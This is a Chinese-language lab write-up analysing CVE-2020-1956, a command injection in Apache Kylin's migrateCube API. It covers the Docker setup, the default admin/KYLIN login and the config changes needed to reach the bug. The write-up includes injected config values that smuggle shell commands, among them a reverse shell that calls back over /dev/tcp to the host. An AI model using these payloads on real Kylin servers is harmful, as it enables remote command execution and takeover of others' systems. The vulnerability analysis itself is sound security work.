Apache Kylin 命令注入漏洞 CVE-2020-1956 POC 分析

来源:香依香偎@闻道解惑

apache-kylin

零、CVE-2020-1956

2020年5月22日,CNVD 通报了 Apache Kylin 存在命令注入漏洞 CVE-2020-1956,地址在 http://www.cnnvd.org.cn/web/xxk/ldxqById.tag?CNNVD=CNNVD-202005-1133

Apache Kylin 是美国 Apache 软件基金会的一款开源的分布式分析型数据仓库。该产品主要提供 Hadoop/Spark 之上的 SQL 查询接口及多维分析(OLAP)等功能。

Apache Kylin 中的静态 API 存在安全漏洞。攻击者可借助特制输入利用该漏洞在系统上执行任意OS命令。以下产品及版本受到影响:Apache Kylin 2.3.0版本至2.3.2版本,2.4.0版本至2.4.1版本,2.5.0版本至2.5.2版本,2.6.0版本至2.6.5版本,3.0.0-alpha版本,3.0.0-alpha2版本,3.0.0-beta版本,3.0.0版本,3.0.1版本。

下面就来分析一下这个漏洞。

一、搭建环境

Kylin 的环境并不好搭建,包括 Hadoop、Hbase、Spark、Kafka 等等一系列的组件需要安装配置。幸好,Kylin 官网文档 http://kylin.apache.org/cn/docs/install/kylin_docker.html 提供了 Docker 环境的启动指南,分别执行这两个命令即可一键启动。

1
docker pull apachekylin/apache-kylin-standalone:3.0.1
1
2
3
4
5
6
7
8
9
docker run -d \
-m 8G \
-p 7070:7070 \
-p 8088:8088 \
-p 50070:50070 \
-p 8032:8032 \
-p 8042:8042 \
-p 16010:16010 \
apachekylin/apache-kylin-standalone:3.0.1

kylin-start-page

使用默认密码 admin/KYLIN 登录,就能看到已经配置好的模型(models),环境搭建大功告成。

kylin-models

二、Migrate Cube

这个漏洞的补丁代码在 github 上,地址是 https://github.com/apache/kylin/commit/9cc3793ab2f2f0053c467a9b3f38cb7791cd436a#

patch-code

从补丁代码里可以看出,漏洞点在 CubeService 中的 migrateCube() 函数,漏洞原因是使用 String.format() 格式化待执行的系统命令且未做过滤,导致命令内容可被注入,涉及的参数包括 srcCfgUridstCfgUriprojectName三个。

Migrate Cube 是什么?在官网的文档的 Restful 章节 http://kylin.apache.org/cn/docs/howto/howto_use_restapi.html#migrate-cube 中,可以看到这个 Restful接口的描述:

migrate-cube-doc

接口中显示需要两个路径入参,分别是 cubeproject。回看 kylin 页面上的表格里,已经显示了 cube name 和对应的 Project

kylin-models

我们选择第一行记录中的 cubekylin_sales_cube 和对应的 Projectlearn_kylin 作为路径参数,POST 这个报文看看。

kylin-first-post

收到错误响应,提示 One click migration is disable

first-post-response

二、Migrate Cube

One click migration is disable 的提示,看起来有点眼熟。回看一眼patch code,嘿,原来这个错误提示就在 migrateCube() 函数的开头呀。

code-for-response

对应的配置检查函数 isAllowAutoMigrateCube()KylinConfigBase.java 中,从配置项中读取了 kylin.tool.auto-migrate-cube.enabled,默认值为 FALSE

migrate-

如果要把配置修改为 true,有两个办法。

  • 方法一:使用 docker exec -it <container_id> bash 命令进入容器,修改其中 conf/kylin.properties 文件,增加 kylin.tool.auto-migrate-cube.enabled=true 的配置项,然后在容器中使用 bin/kylin stopbin/kylin start 命令重启 kylin

enable-config

  • 方法二:在 WEB 界面上点击 SYSTEMSET Config,手动输入配置项名称 kylin.tool.auto-migrate-cube.enabled 和值 True

set-config

set-config-2

方法一是永久有效,只是需要重启 kylin 进程;方法二立即生效但进程重启或 Reload Config 之后就失效。我们选择相对简单一些的方法二来操作。

server-config

修改完配置之后,再次发送 POST Migrate Cube 的报文,这次的报错提示为 Source configuration should not be empty.

second-request

second-response

对应代码中的 srcCfgUridstCfgUri 的非空检查。

check-srcConfig

这两个值同样来自于配置项,分别是 kylin.tool.auto-migrate-cube.src-configkylin.tool.auto-migrate-cube.dest-config

src-dst-cfguri

我们可以用前面配置 kylin.tool.auto-migrate-cube.enabled 同样的方法来配置这两个值。不过,在配置之前,你有没有注意到,这两个值,就是命令注入的关键参数呢?

cfgUri

三、命令注入

好,用 destCfgUri 来注入试试。在界面上 Set Config,把 srcCfgUri 配置为 /home/admin/apache-kylin-3.0.1-bin-hbase1x/conf/kylin.propertie,将 destCfgUri 配置为 /tmp/kylin.properties kylin_sales_cube learn_kylin true true true true; touch /tmp/xiang; echo 。注意其中注入了 touch /tmp/xiang 的系统命令。

set-config-final

重新发起 Migrate Cube 的请求。

migrate-cube-request

收到 200 成功响应。

migrate-cube-respnse

查看 docker 容器,注入的命令 touch /tmp/xiang 已经成功执行。

touch-file-success

可以反弹 shell 么?当然可以。将 kylin.tool.auto-migrate-cube.dest-config 配置为 /tmp/kylin.properties kylin_sales_cube learn_kylin true true true true; bash -i >& /dev/tcp/172.17.0.1/9999 0>&1; echo 。其中注入的命令从 touch /tmp/xiang 换成了反弹 shell 的命令 bash -i >& /dev/tcp/172.17.0.1/9999 0>&1,反弹到宿主机 172.17.0.1 上。

reverse-shell-config

在宿主机上启动监听。

kylin-24-listen

再发送一次 Migrate Cube 报文,等待几秒即可获取反弹 shell

reverse-shell-success